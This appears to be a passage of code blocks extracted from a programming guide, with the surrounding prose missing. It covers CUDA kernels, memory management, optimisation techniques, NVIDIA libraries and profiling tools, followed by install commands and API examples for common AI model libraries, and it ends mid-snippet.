printf("Multiprocessors: %d\n", prop.multiProcessorCount);
printf("Max threads per block: %d\n", prop.maxThreadsPerBlock);
printf("Max threads per SM: %d\n", prop.maxThreadsPerMultiProcessor);
printf("Warp size: %d\n", prop.warpSize);
printf("Global memory: %.2f GB\n", prop.totalGlobalMem / 1e9);
printf("Shared memory per block: %zu KB\n", prop.sharedMemPerBlock / 1024);

Grid
├── Block (0,0,0)
│   ├── Thread (0,0,0)
│   ├── Thread (1,0,0)
│   └── ...
├── Block (1,0,0)
│   └── ...
└── Block (gridDim-1)
    └── ...

// Kernel definition
__global__ void vectorAdd(float *a, float *b, float *c, int n) {
    // Calculate global thread ID
    int idx = blockIdx.x * blockDim.x + threadIdx.x;

    // Boundary check
    if (idx < n) {
        c[idx] = a[idx] + b[idx];
    }
}

int main() {
    int n = 1000000;
    size_t size = n * sizeof(float);

    // Allocate host memory
    float *h_a = (float*)malloc(size);
    float *h_b = (float*)malloc(size);
    float *h_c = (float*)malloc(size);

    // Initialize host data
    for (int i = 0; i < n; i++) {
        h_a[i] = i;
        h_b[i] = i * 2;
    }

    // Allocate device memory
    float *d_a, *d_b, *d_c;
    cudaMalloc(&d_a, size);
    cudaMalloc(&d_b, size);
    cudaMalloc(&d_c, size);

    // Copy data to device
    cudaMemcpy(d_a, h_a, size, cudaMemcpyHostToDevice);
    cudaMemcpy(d_b, h_b, size, cudaMemcpyHostToDevice);

    // Launch kernel
    int blockSize = 256;
    int gridSize = (n + blockSize - 1) / blockSize;
    vectorAdd<<<gridSize, blockSize>>>(d_a, d_b, d_c, n);

    // Copy result back
    cudaMemcpy(h_c, d_c, size, cudaMemcpyDeviceToHost);

    // Free memory
    cudaFree(d_a);
    cudaFree(d_b);
    cudaFree(d_c);
    free(h_a);
    free(h_b);
    free(h_c);

    return 0;
}

// 1D indexing
__global__ void kernel1D() {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
}

// 2D indexing
__global__ void kernel2D() {
    int x = blockIdx.x * blockDim.x + threadIdx.x;
    int y = blockIdx.y * blockDim.y + threadIdx.y;
    int idx = y * width + x;  // Row-major order
}

// 3D indexing
__global__ void kernel3D() {
    int x = blockIdx.x * blockDim.x + threadIdx.x;
    int y = blockIdx.y * blockDim.y + threadIdx.y;
    int z = blockIdx.z * blockDim.z + threadIdx.z;
    int idx = z * width * height + y * width + x;
}

// Launch examples
dim3 blockSize(16, 16);
dim3 gridSize((width + 15) / 16, (height + 15) / 16);
kernel2D<<<gridSize, blockSize>>>(...);

// Macro for checking CUDA errors
#define CUDA_CHECK(call) \
do { \
    cudaError_t error = call; \
    if (error != cudaSuccess) { \
        fprintf(stderr, "CUDA error at %s:%d: %s\n", \
                __FILE__, __LINE__, cudaGetErrorString(error)); \
        exit(EXIT_FAILURE); \
    } \
} while(0)

// Usage
CUDA_CHECK(cudaMalloc(&d_a, size));
CUDA_CHECK(cudaMemcpy(d_a, h_a, size, cudaMemcpyHostToDevice));

// Check kernel launch errors
kernel<<<grid, block>>>(...);
CUDA_CHECK(cudaGetLastError());
CUDA_CHECK(cudaDeviceSynchronize());

// Basic allocation
float *d_data;
cudaMalloc(&d_data, size);

// Pitched allocation (for 2D arrays)
float *d_matrix;
size_t pitch;
cudaMallocPitch(&d_matrix, &pitch, width * sizeof(float), height);

// Access in kernel
__global__ void kernel(float *matrix, size_t pitch) {
    int x = blockIdx.x * blockDim.x + threadIdx.x;
    int y = blockIdx.y * blockDim.y + threadIdx.y;
    float *row = (float*)((char*)matrix + y * pitch);
    row[x] = ...;
}

// 3D allocation
cudaExtent extent = make_cudaExtent(width, height, depth);
cudaPitchedPtr devPitchedPtr;
cudaMalloc3D(&devPitchedPtr, extent);

// Zero initialization
cudaMemset(d_data, 0, size);

// Static shared memory
__global__ void kernel() {
    __shared__ float s_data[256];

    int tid = threadIdx.x;
    s_data[tid] = ...;  // Each thread writes

    __syncthreads();  // Synchronize before reading

    float value = s_data[tid];  // Read
}

// Dynamic shared memory
__global__ void kernel(int n) {
    extern __shared__ float s_data[];  // Size specified at launch

    int tid = threadIdx.x;
    s_data[tid] = ...;
    __syncthreads();
}

// Launch with dynamic shared memory
int sharedMemSize = blockSize * sizeof(float);
kernel<<<gridSize, blockSize, sharedMemSize>>>(...);

// Multiple dynamic arrays
extern __shared__ char shared_mem[];
float *s_float = (float*)shared_mem;
int *s_int = (int*)&s_float[float_size];

// GOOD: Coalesced access (sequential)
__global__ void coalescedAccess(float *data) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    float value = data[idx];  // Each thread accesses consecutive elements
}

// BAD: Strided access
__global__ void stridedAccess(float *data, int stride) {
    int idx = (blockIdx.x * blockDim.x + threadIdx.x) * stride;
    float value = data[idx];  // Large gaps between accesses
}

// GOOD: Structure of Arrays (SoA)
struct SoA {
    float *x;
    float *y;
    float *z;
};

__global__ void processCoalesced(SoA data, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        float x = data.x[idx];  // Coalesced
        float y = data.y[idx];  // Coalesced
        float z = data.z[idx];  // Coalesced
    }
}

// BAD: Array of Structures (AoS)
struct Point { float x, y, z; };

__global__ void processUncoalesced(Point *data, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        float x = data[idx].x;  // Not coalesced
    }
}

// Constant memory declaration (64KB limit)
__constant__ float c_coefficients[1024];

// Copy to constant memory
float h_coefficients[1024];
cudaMemcpyToSymbol(c_coefficients, h_coefficients, sizeof(h_coefficients));

// Use in kernel (cached, broadcast)
__global__ void kernel() {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    float coeff = c_coefficients[idx % 1024];  // Fast cached access
}

// Allocate unified memory (accessible from both CPU and GPU)
float *data;
cudaMallocManaged(&data, size);

// Can access from CPU
data[0] = 1.0f;

// Can access from GPU
kernel<<<grid, block>>>(data);
cudaDeviceSynchronize();

// Access from CPU again
float result = data[0];

// Free
cudaFree(data);

// Memory prefetching
cudaMemPrefetchAsync(data, size, deviceId);  // Prefetch to GPU
cudaMemPrefetchAsync(data, size, cudaCpuDeviceId);  // Prefetch to CPU

// Memory advise
cudaMemAdvise(data, size, cudaMemAdviseSetReadMostly, deviceId);
cudaMemAdvise(data, size, cudaMemAdviseSetPreferredLocation, deviceId);

__global__ void vectorAdd(const float *a, const float *b, float *c, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        c[idx] = a[idx] + b[idx];
    }
}

// Launch
int blockSize = 256;
int gridSize = (n + blockSize - 1) / blockSize;
vectorAdd<<<gridSize, blockSize>>>(d_a, d_b, d_c, n);

// C = A * B
// A: M x K, B: K x N, C: M x N
__global__ void matmulNaive(const float *A, const float *B, float *C,
                            int M, int N, int K) {
    int row = blockIdx.y * blockDim.y + threadIdx.y;
    int col = blockIdx.x * blockDim.x + threadIdx.x;

    if (row < M && col < N) {
        float sum = 0.0f;
        for (int k = 0; k < K; k++) {
            sum += A[row * K + k] * B[k * N + col];
        }
        C[row * N + col] = sum;
    }
}

// Launch
dim3 blockSize(16, 16);
dim3 gridSize((N + 15) / 16, (M + 15) / 16);
matmulNaive<<<gridSize, blockSize>>>(d_A, d_B, d_C, M, N, K);

#define TILE_SIZE 16

__global__ void matmulTiled(const float *A, const float *B, float *C,
                            int M, int N, int K) {
    __shared__ float s_A[TILE_SIZE][TILE_SIZE];
    __shared__ float s_B[TILE_SIZE][TILE_SIZE];

    int bx = blockIdx.x, by = blockIdx.y;
    int tx = threadIdx.x, ty = threadIdx.y;

    int row = by * TILE_SIZE + ty;
    int col = bx * TILE_SIZE + tx;

    float sum = 0.0f;

    // Loop over tiles
    for (int t = 0; t < (K + TILE_SIZE - 1) / TILE_SIZE; t++) {
        // Load tile into shared memory
        if (row < M && t * TILE_SIZE + tx < K)
            s_A[ty][tx] = A[row * K + t * TILE_SIZE + tx];
        else
            s_A[ty][tx] = 0.0f;

        if (t * TILE_SIZE + ty < K && col < N)
            s_B[ty][tx] = B[(t * TILE_SIZE + ty) * N + col];
        else
            s_B[ty][tx] = 0.0f;

        __syncthreads();

        // Compute partial sum
        for (int k = 0; k < TILE_SIZE; k++) {
            sum += s_A[ty][k] * s_B[k][tx];
        }

        __syncthreads();
    }

    if (row < M && col < N) {
        C[row * N + col] = sum;
    }
}

// Parallel reduction in shared memory
__global__ void reduce(const float *input, float *output, int n) {
    extern __shared__ float s_data[];

    unsigned int tid = threadIdx.x;
    unsigned int idx = blockIdx.x * blockDim.x + threadIdx.x;

    // Load data into shared memory
    s_data[tid] = (idx < n) ? input[idx] : 0.0f;
    __syncthreads();

    // Reduction in shared memory
    for (unsigned int s = blockDim.x / 2; s > 0; s >>= 1) {
        if (tid < s) {
            s_data[tid] += s_data[tid + s];
        }
        __syncthreads();
    }

    // Write result for this block
    if (tid == 0) {
        output[blockIdx.x] = s_data[0];
    }
}

// Optimized reduction (avoiding bank conflicts)
__global__ void reduceOptimized(const float *input, float *output, int n) {
    extern __shared__ float s_data[];

    unsigned int tid = threadIdx.x;
    unsigned int idx = blockIdx.x * (blockDim.x * 2) + threadIdx.x;

    // Load and perform first level of reduction during load
    s_data[tid] = 0.0f;
    if (idx < n) s_data[tid] += input[idx];
    if (idx + blockDim.x < n) s_data[tid] += input[idx + blockDim.x];
    __syncthreads();

    // Reduction with sequential addressing
    for (unsigned int s = blockDim.x / 2; s > 0; s >>= 1) {
        if (tid < s) {
            s_data[tid] += s_data[tid + s];
        }
        __syncthreads();
    }

    if (tid == 0) output[blockIdx.x] = s_data[0];
}

// Inclusive scan using Blelloch algorithm
__global__ void scanBlelloch(float *data, int n) {
    extern __shared__ float temp[];

    int tid = threadIdx.x;
    int offset = 1;

    // Load input into shared memory
    temp[2 * tid] = data[2 * tid];
    temp[2 * tid + 1] = data[2 * tid + 1];

    // Build sum tree
    for (int d = n >> 1; d > 0; d >>= 1) {
        __syncthreads();
        if (tid < d) {
            int ai = offset * (2 * tid + 1) - 1;
            int bi = offset * (2 * tid + 2) - 1;
            temp[bi] += temp[ai];
        }
        offset *= 2;
    }

    // Clear last element
    if (tid == 0) temp[n - 1] = 0;

    // Traverse down tree and build scan
    for (int d = 1; d < n; d *= 2) {
        offset >>= 1;
        __syncthreads();
        if (tid < d) {
            int ai = offset * (2 * tid + 1) - 1;
            int bi = offset * (2 * tid + 2) - 1;
            float t = temp[ai];
            temp[ai] = temp[bi];
            temp[bi] += t;
        }
    }
    __syncthreads();

    // Write results
    data[2 * tid] = temp[2 * tid];
    data[2 * tid + 1] = temp[2 * tid + 1];
}

// Atomic histogram
__global__ void histogram(const int *data, int *hist, int n, int numBins) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;

    if (idx < n) {
        int bin = data[idx] % numBins;
        atomicAdd(&hist[bin], 1);
    }
}

// Optimized with shared memory
__global__ void histogramShared(const int *data, int *hist, int n, int numBins) {
    extern __shared__ int s_hist[];

    int tid = threadIdx.x;
    int idx = blockIdx.x * blockDim.x + threadIdx.x;

    // Initialize shared histogram
    for (int i = tid; i < numBins; i += blockDim.x) {
        s_hist[i] = 0;
    }
    __syncthreads();

    // Accumulate in shared memory
    if (idx < n) {
        int bin = data[idx] % numBins;
        atomicAdd(&s_hist[bin], 1);
    }
    __syncthreads();

    // Write to global memory
    for (int i = tid; i < numBins; i += blockDim.x) {
        atomicAdd(&hist[i], s_hist[i]);
    }
}

// Naive transpose
__global__ void transposeNaive(const float *input, float *output,
                               int width, int height) {
    int x = blockIdx.x * blockDim.x + threadIdx.x;
    int y = blockIdx.y * blockDim.y + threadIdx.y;

    if (x < width && y < height) {
        output[x * height + y] = input[y * width + x];
    }
}

// Optimized with shared memory (no bank conflicts)
#define TILE_DIM 32
#define BLOCK_ROWS 8

__global__ void transposeCoalesced(const float *input, float *output,
                                   int width, int height) {
    __shared__ float tile[TILE_DIM][TILE_DIM + 1];  // +1 to avoid bank conflicts

    int x = blockIdx.x * TILE_DIM + threadIdx.x;
    int y = blockIdx.y * TILE_DIM + threadIdx.y;

    // Coalesced read from global memory
    for (int j = 0; j < TILE_DIM; j += BLOCK_ROWS) {
        if (x < width && (y + j) < height) {
            tile[threadIdx.y + j][threadIdx.x] = input[(y + j) * width + x];
        }
    }

    __syncthreads();

    // Transpose block indices
    x = blockIdx.y * TILE_DIM + threadIdx.x;
    y = blockIdx.x * TILE_DIM + threadIdx.y;

    // Coalesced write to global memory
    for (int j = 0; j < TILE_DIM; j += BLOCK_ROWS) {
        if (x < height && (y + j) < width) {
            output[(y + j) * height + x] = tile[threadIdx.x][threadIdx.y + j];
        }
    }
}

#define KERNEL_RADIUS 3
__constant__ float c_kernel[2 * KERNEL_RADIUS + 1];

__global__ void convolution1D(const float *input, float *output, int n) {
    extern __shared__ float s_data[];

    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    int tid = threadIdx.x;

    // Load data into shared memory with halo
    int halo_idx_left = (blockIdx.x - 1) * blockDim.x + tid;
    int halo_idx_right = (blockIdx.x + 1) * blockDim.x + tid;

    // Main data
    if (idx < n) {
        s_data[tid + KERNEL_RADIUS] = input[idx];
    }

    // Left halo
    if (tid < KERNEL_RADIUS) {
        s_data[tid] = (halo_idx_left >= 0) ? input[halo_idx_left] : 0.0f;
    }

    // Right halo
    if (tid >= blockDim.x - KERNEL_RADIUS) {
        int offset = tid - (blockDim.x - KERNEL_RADIUS);
        s_data[tid + 2 * KERNEL_RADIUS] =
            (halo_idx_right < n) ? input[halo_idx_right] : 0.0f;
    }

    __syncthreads();

    // Convolution
    if (idx < n) {
        float sum = 0.0f;
        for (int k = -KERNEL_RADIUS; k <= KERNEL_RADIUS; k++) {
            sum += s_data[tid + KERNEL_RADIUS + k] * c_kernel[k + KERNEL_RADIUS];
        }
        output[idx] = sum;
    }
}

// Check theoretical occupancy
int blockSize = 256;
int minGridSize;
int maxBlockSize;

// Get optimal launch configuration
cudaOccupancyMaxPotentialBlockSize(&minGridSize, &maxBlockSize,
                                   kernel, 0, 0);

// Calculate occupancy
int numBlocks;
cudaOccupancyMaxActiveBlocksPerMultiprocessor(&numBlocks, kernel,
                                              blockSize, 0);

// Launch with optimal configuration
int gridSize = (n + maxBlockSize - 1) / maxBlockSize;
kernel<<<gridSize, maxBlockSize>>>(args);

// Warp shuffle
__global__ void warpReduce(float *data) {
    int tid = threadIdx.x;
    float val = data[tid];

    // Warp-level reduction (no __syncthreads needed)
    for (int offset = 16; offset > 0; offset /= 2) {
        val += __shfl_down_sync(0xffffffff, val, offset);
    }

    if ((tid % 32) == 0) {
        data[tid / 32] = val;
    }
}

// Warp vote functions
__global__ void warpVote() {
    int tid = threadIdx.x;
    int value = tid % 2;

    // Check if all threads in warp have value == 1
    bool all_true = __all_sync(0xffffffff, value);

    // Check if any thread in warp has value == 1
    bool any_true = __any_sync(0xffffffff, value);

    // Count threads in warp with value == 1
    int count = __popc(__ballot_sync(0xffffffff, value));
}

// BAD: Bank conflicts
__shared__ float s_data[32][32];
s_data[threadIdx.x][threadIdx.y] = ...;  // Conflicts when threadIdx.x varies

// GOOD: Add padding to avoid conflicts
__shared__ float s_data[32][33];  // Extra column eliminates conflicts
s_data[threadIdx.x][threadIdx.y] = ...;

// Access pattern analysis
// Each bank serves one 32-bit word per cycle
// Bank index = (address / 4) % 32
// Conflict occurs when multiple threads access same bank

// Create CUDA streams
cudaStream_t stream1, stream2;
cudaStreamCreate(&stream1);
cudaStreamCreate(&stream2);

// Overlap computation and data transfer
for (int i = 0; i < nStreams; i++) {
    int offset = i * streamSize;

    // Async copy H2D
    cudaMemcpyAsync(&d_data[offset], &h_data[offset], streamBytes,
                    cudaMemcpyHostToDevice, stream[i]);

    // Launch kernel
    kernel<<<grid, block, 0, stream[i]>>>(&d_data[offset], ...);

    // Async copy D2H
    cudaMemcpyAsync(&h_result[offset], &d_result[offset], streamBytes,
                    cudaMemcpyDeviceToHost, stream[i]);
}

// Wait for all streams
cudaDeviceSynchronize();

// Cleanup
cudaStreamDestroy(stream1);
cudaStreamDestroy(stream2);

// Benchmark different access patterns
__global__ void sequentialAccess(float *data, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        float val = data[idx];  // Coalesced: ~900 GB/s
    }
}

__global__ void stridedAccess(float *data, int n, int stride) {
    int idx = (blockIdx.x * blockDim.x + threadIdx.x) * stride;
    if (idx < n) {
        float val = data[idx];  // Non-coalesced: ~100 GB/s
    }
}

__global__ void randomAccess(float *data, int *indices, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        float val = data[indices[idx]];  // Random: ~50 GB/s
    }
}

// Manual loop unrolling
__global__ void matmulUnrolled(const float *A, const float *B, float *C,
                               int M, int N, int K) {
    int row = blockIdx.y * blockDim.y + threadIdx.y;
    int col = blockIdx.x * blockDim.x + threadIdx.x;

    if (row < M && col < N) {
        float sum = 0.0f;

        // Unroll by 4
        int k;
        for (k = 0; k < K - 3; k += 4) {
            sum += A[row * K + k] * B[k * N + col];
            sum += A[row * K + k + 1] * B[(k + 1) * N + col];
            sum += A[row * K + k + 2] * B[(k + 2) * N + col];
            sum += A[row * K + k + 3] * B[(k + 3) * N + col];
        }

        // Handle remainder
        for (; k < K; k++) {
            sum += A[row * K + k] * B[k * N + col];
        }

        C[row * N + col] = sum;
    }
}

// Pragma unroll
__global__ void kernel() {
    #pragma unroll 8
    for (int i = 0; i < ITERATIONS; i++) {
        // Loop body
    }
}

// Parent kernel launches child kernels
__global__ void childKernel(float *data, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;
    if (idx < n) {
        data[idx] *= 2.0f;
    }
}

__global__ void parentKernel(float *data, int n, int depth) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;

    if (idx == 0 && depth > 0) {
        // Launch child kernel from GPU
        int childBlocks = (n + 255) / 256;
        childKernel<<<childBlocks, 256>>>(data, n);

        // Synchronize child kernel
        cudaDeviceSynchronize();

        // Recursive launch
        parentKernel<<<1, 1>>>(data, n, depth - 1);
    }
}

// Compile with: nvcc -arch=sm_35 -rdc=true -lcudadevrt

#include <cooperative_groups.h>
namespace cg = cooperative_groups;

// Thread block group
__global__ void kernelWithCG() {
    cg::thread_block block = cg::this_thread_block();

    // Synchronize block
    block.sync();

    // Get block info
    int rank = block.thread_rank();
    int size = block.size();
}

// Tiled partition (warp-level)
__global__ void warpLevelCG() {
    cg::thread_block block = cg::this_thread_block();
    cg::thread_block_tile<32> warp = cg::tiled_partition<32>(block);

    int value = threadIdx.x;

    // Warp-level reduction
    for (int offset = warp.size() / 2; offset > 0; offset /= 2) {
        value += warp.shfl_down(value, offset);
    }

    if (warp.thread_rank() == 0) {
        // First thread in warp has the sum
    }
}

// Grid-wide synchronization
__global__ void gridSync(int *data) {
    cg::grid_group grid = cg::this_grid();

    // All threads in grid must reach this point
    grid.sync();
}

// Launch with cooperative groups
void *kernelArgs[] = {&d_data};
int numBlocks = 100;
int blockSize = 256;
cudaLaunchCooperativeKernel((void*)gridSync, numBlocks, blockSize,
                            kernelArgs, 0, 0);

#include <mma.h>
using namespace nvcuda;

// Matrix multiplication with Tensor Cores (WMMA API)
__global__ void wmma_matmul(half *a, half *b, float *c, int M, int N, int K) {
    // Tile dimensions (16x16x16 for half precision)
    const int WMMA_M = 16;
    const int WMMA_N = 16;
    const int WMMA_K = 16;

    // Warp and lane IDs
    int warpM = (blockIdx.x * blockDim.x + threadIdx.x) / warpSize;
    int warpN = (blockIdx.y * blockDim.y + threadIdx.y);

    // Declare fragments
    wmma::fragment<wmma::matrix_a, WMMA_M, WMMA_N, WMMA_K, half, wmma::row_major> a_frag;
    wmma::fragment<wmma::matrix_b, WMMA_M, WMMA_N, WMMA_K, half, wmma::col_major> b_frag;
    wmma::fragment<wmma::accumulator, WMMA_M, WMMA_N, WMMA_K, float> acc_frag;

    // Initialize accumulator
    wmma::fill_fragment(acc_frag, 0.0f);

    // Loop over K
    for (int i = 0; i < K; i += WMMA_K) {
        int aRow = warpM * WMMA_M;
        int aCol = i;
        int bRow = i;
        int bCol = warpN * WMMA_N;

        // Bounds checking
        if (aRow < M && bCol < N) {
            // Load matrices
            wmma::load_matrix_sync(a_frag, a + aRow * K + aCol, K);
            wmma::load_matrix_sync(b_frag, b + bRow * N + bCol, N);

            // Perform matrix multiplication
            wmma::mma_sync(acc_frag, a_frag, b_frag, acc_frag);
        }
    }

    // Store result
    int cRow = warpM * WMMA_M;
    int cCol = warpN * WMMA_N;
    if (cRow < M && cCol < N) {
        wmma::store_matrix_sync(c + cRow * N + cCol, acc_frag, N, wmma::mem_row_major);
    }
}

// Create and execute CUDA graph
cudaGraph_t graph;
cudaGraphExec_t graphExec;

// Begin graph capture
cudaStreamBeginCapture(stream, cudaStreamCaptureModeGlobal);

// Operations to capture
kernel1<<<grid1, block1, 0, stream>>>(args1);
cudaMemcpyAsync(dst, src, size, cudaMemcpyDeviceToHost, stream);
kernel2<<<grid2, block2, 0, stream>>>(args2);

// End capture
cudaStreamEndCapture(stream, &graph);

// Instantiate graph
cudaGraphInstantiate(&graphExec, graph, NULL, NULL, 0);

// Execute graph (can be launched multiple times)
for (int i = 0; i < iterations; i++) {
    cudaGraphLaunch(graphExec, stream);
    cudaStreamSynchronize(stream);
}

// Cleanup
cudaGraphExecDestroy(graphExec);
cudaGraphDestroy(graph);

// Manual graph construction
cudaGraphNode_t kernel1Node, kernel2Node, memcpyNode;
cudaKernelNodeParams kernel1Params = {};
kernel1Params.func = (void*)kernel1;
kernel1Params.gridDim = grid1;
kernel1Params.blockDim = block1;
kernel1Params.kernelParams = args1;

cudaGraphAddKernelNode(&kernel1Node, graph, NULL, 0, &kernel1Params);

#include <cublas_v2.h>

// Initialize cuBLAS
cublasHandle_t handle;
cublasCreate(&handle);

// Matrix multiplication: C = α*A*B + β*C
const float alpha = 1.0f;
const float beta = 0.0f;
int m = 1024, n = 1024, k = 1024;

cublasSgemm(handle,
            CUBLAS_OP_N, CUBLAS_OP_N,
            m, n, k,
            &alpha,
            d_A, m,
            d_B, k,
            &beta,
            d_C, m);

// Vector operations
cublasSaxpy(handle, n, &alpha, d_x, 1, d_y, 1);  // y = α*x + y
cublasSdot(handle, n, d_x, 1, d_y, 1, &result);  // dot product

// Cleanup
cublasDestroy(handle);

#include <cudnn.h>

// Initialize cuDNN
cudnnHandle_t cudnn;
cudnnCreate(&cudnn);

// Convolution forward
cudnnTensorDescriptor_t input_desc, output_desc;
cudnnFilterDescriptor_t kernel_desc;
cudnnConvolutionDescriptor_t conv_desc;

cudnnCreateTensorDescriptor(&input_desc);
cudnnSetTensor4dDescriptor(input_desc, CUDNN_TENSOR_NCHW, CUDNN_DATA_FLOAT,
                           batch_size, channels, height, width);

cudnnCreateFilterDescriptor(&kernel_desc);
cudnnSetFilter4dDescriptor(kernel_desc, CUDNN_DATA_FLOAT, CUDNN_TENSOR_NCHW,
                          num_filters, channels, kernel_h, kernel_w);

cudnnCreateConvolutionDescriptor(&conv_desc);
cudnnSetConvolution2dDescriptor(conv_desc, pad_h, pad_w, stride_h, stride_w,
                                dilation_h, dilation_w,
                                CUDNN_CROSS_CORRELATION, CUDNN_DATA_FLOAT);

// Find best algorithm
cudnnConvolutionFwdAlgoPerf_t perfResults;
int returnedAlgoCount;
cudnnFindConvolutionForwardAlgorithm(cudnn, input_desc, kernel_desc, conv_desc,
                                     output_desc, 1, &returnedAlgoCount, &perfResults);

// Execute convolution
const float alpha = 1.0f, beta = 0.0f;
cudnnConvolutionForward(cudnn, &alpha, input_desc, d_input,
                       kernel_desc, d_kernel, conv_desc,
                       perfResults.algo, workspace, workspace_size,
                       &beta, output_desc, d_output);

cudnnDestroy(cudnn);

#include <thrust/device_vector.h>
#include <thrust/sort.h>
#include <thrust/reduce.h>
#include <thrust/transform.h>

// Device vectors (automatic memory management)
thrust::device_vector<float> d_vec(1000000);
thrust::fill(d_vec.begin(), d_vec.end(), 1.0f);

// Sorting
thrust::sort(d_vec.begin(), d_vec.end());

// Reduction
float sum = thrust::reduce(d_vec.begin(), d_vec.end(), 0.0f, thrust::plus<float>());

// Transform
thrust::transform(d_vec.begin(), d_vec.end(), d_vec.begin(),
                 thrust::negate<float>());

// Custom functor
struct square {
    __host__ __device__
    float operator()(const float &x) const {
        return x * x;
    }
};
thrust::transform(d_vec.begin(), d_vec.end(), d_vec.begin(), square());

// Scan (prefix sum)
thrust::inclusive_scan(d_vec.begin(), d_vec.end(), d_vec.begin());

// Copy to host
thrust::host_vector<float> h_vec = d_vec;

# nvprof (legacy)
nvprof ./program
nvprof --print-gpu-trace ./program
nvprof --metrics achieved_occupancy ./program

# Nsight Compute (detailed kernel profiling)
ncu --set full --export profile ./program
ncu --metrics sm__throughput.avg.pct_of_peak_sustained_elapsed ./program

# Nsight Systems (timeline analysis)
nsys profile --stats=true ./program
nsys profile --trace=cuda,nvtx --output=report ./program

# cuda-memcheck
cuda-memcheck ./program
cuda-memcheck --tool memcheck ./program
cuda-memcheck --tool racecheck ./program

// 1. Race conditions
__global__ void badKernel(int *data) {
    int idx = threadIdx.x;
    data[0] += idx;  // WRONG: Race condition
}

__global__ void goodKernel(int *data) {
    int idx = threadIdx.x;
    atomicAdd(&data[0], idx);  // CORRECT: Atomic operation
}

// 2. Missing synchronization
__global__ void badSync() {
    __shared__ int s_data[256];
    int tid = threadIdx.x;
    s_data[tid] = tid;
    // WRONG: No synchronization
    int val = s_data[(tid + 1) % 256];  // Undefined behavior
}

__global__ void goodSync() {
    __shared__ int s_data[256];
    int tid = threadIdx.x;
    s_data[tid] = tid;
    __syncthreads();  // CORRECT: Synchronize before reading
    int val = s_data[(tid + 1) % 256];
}

// 3. Ignoring error checking
cudaMalloc(&d_ptr, size);  // BAD: No error check
kernel<<<grid, block>>>();  // BAD: No error check

// GOOD:
CUDA_CHECK(cudaMalloc(&d_ptr, size));
kernel<<<grid, block>>>();
CUDA_CHECK(cudaGetLastError());
CUDA_CHECK(cudaDeviceSynchronize());

// 4. Unaligned memory access
struct BadStruct {
    char c;
    float f;  // Unaligned on device
};

struct GoodStruct {
    float f;
    char c;
    char padding[3];  // Explicit padding
};

// 5. Oversubscribing shared memory
__global__ void badShared() {
    __shared__ float s_data[10000];  // Too large!
    // Kernel may not launch or have low occupancy
}

// Use printf in kernels
__global__ void debugKernel() {
    int idx = threadIdx.x;
    printf("Thread %d: value = %d\n", idx, value);
}

// Kernel with boundary checks
__global__ void safeKernel(float *data, int n) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;

    // Always check bounds
    if (idx >= n) return;

    // Assertions (only in debug builds)
    assert(data[idx] >= 0.0f && "Negative value detected");

    data[idx] = sqrt(data[idx]);
}

// Compile with debug info and run with cuda-memcheck
// nvcc -g -G program.cu -o program
// cuda-memcheck ./program

// RAII wrapper for CUDA memory
template<typename T>
class CudaArray {
private:
    T *d_ptr;
    size_t n;

public:
    CudaArray(size_t size) : n(size) {
        CUDA_CHECK(cudaMalloc(&d_ptr, n * sizeof(T)));
    }

    ~CudaArray() {
        cudaFree(d_ptr);
    }

    void copyToDevice(const T *h_ptr) {
        CUDA_CHECK(cudaMemcpy(d_ptr, h_ptr, n * sizeof(T),
                             cudaMemcpyHostToDevice));
    }

    void copyToHost(T *h_ptr) {
        CUDA_CHECK(cudaMemcpy(h_ptr, d_ptr, n * sizeof(T),
                             cudaMemcpyDeviceToHost));
    }

    T* get() { return d_ptr; }
    size_t size() const { return n; }
};

// Usage
CudaArray<float> d_data(1000000);
d_data.copyToDevice(h_data);
kernel<<<grid, block>>>(d_data.get(), d_data.size());
d_data.copyToHost(h_result);
// Automatic cleanup when out of scope

// Integer atomics
atomicAdd(&addr, val);
atomicSub(&addr, val);
atomicMin(&addr, val);
atomicMax(&addr, val);
atomicExch(&addr, val);
atomicCAS(&addr, compare, val);  // Compare and swap
atomicAnd(&addr, val);
atomicOr(&addr, val);
atomicXor(&addr, val);

// Floating-point atomics (newer GPUs)
atomicAdd(&float_addr, float_val);  // sm_20+
atomicAdd(&double_addr, double_val);  // sm_60+

Input → Tokenization → Embedding → 
  Positional Encoding → 
  Multi-Head Attention → 
  Feed Forward → 
  Layer Norm → 
  Output

# OpenAI API
pip install openai

# Anthropic Claude
pip install anthropic

# Hugging Face Transformers
pip install transformers torch

# LangChain for LLM applications
pip install langchain langchain-community

# LlamaIndex for RAG
pip install llama-index

# Stable Diffusion WebUI (AUTOMATIC1111)
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui
cd stable-diffusion-webui
./webui.sh

# ComfyUI (node-based interface)
git clone https://github.com/comfyanonymous/ComfyUI
cd ComfyUI
pip install -r requirements.txt

# Diffusers library
pip install diffusers transformers accelerate

# Hugging Face ecosystem
pip install transformers datasets accelerate peft bitsandbytes

# PyTorch
pip install torch torchvision torchaudio

# DeepSpeed for distributed training
pip install deepspeed

# Axolotl for fine-tuning
git clone https://github.com/OpenAccess-AI-Collective/axolotl

from openai import OpenAI

client = OpenAI(api_key="your-api-key")

response = client.chat.completions.create(
    model="gpt-4",
    messages=[
        {"role": "system", "content": "You are a helpful assistant."},
        {"role": "user", "content": "Explain quantum computing in simple terms."}
    ]
)

print(response.choices[0].message.content)

import anthropic

client = anthropic.Anthropic(api_key="your-api-key")

message = client.messages.create(
    model="claude-sonnet-4-5-20250929",
    max_tokens=1024,
    messages=[
        {"role": "user", "content": "Write a Python function to calculate Fibonacci numbers."}
    ]
)

print(message.content[0].text)

from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

# Load model and tokenizer
model_name = "meta-llama/Llama-3.2-3B-Instruct"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.float16,
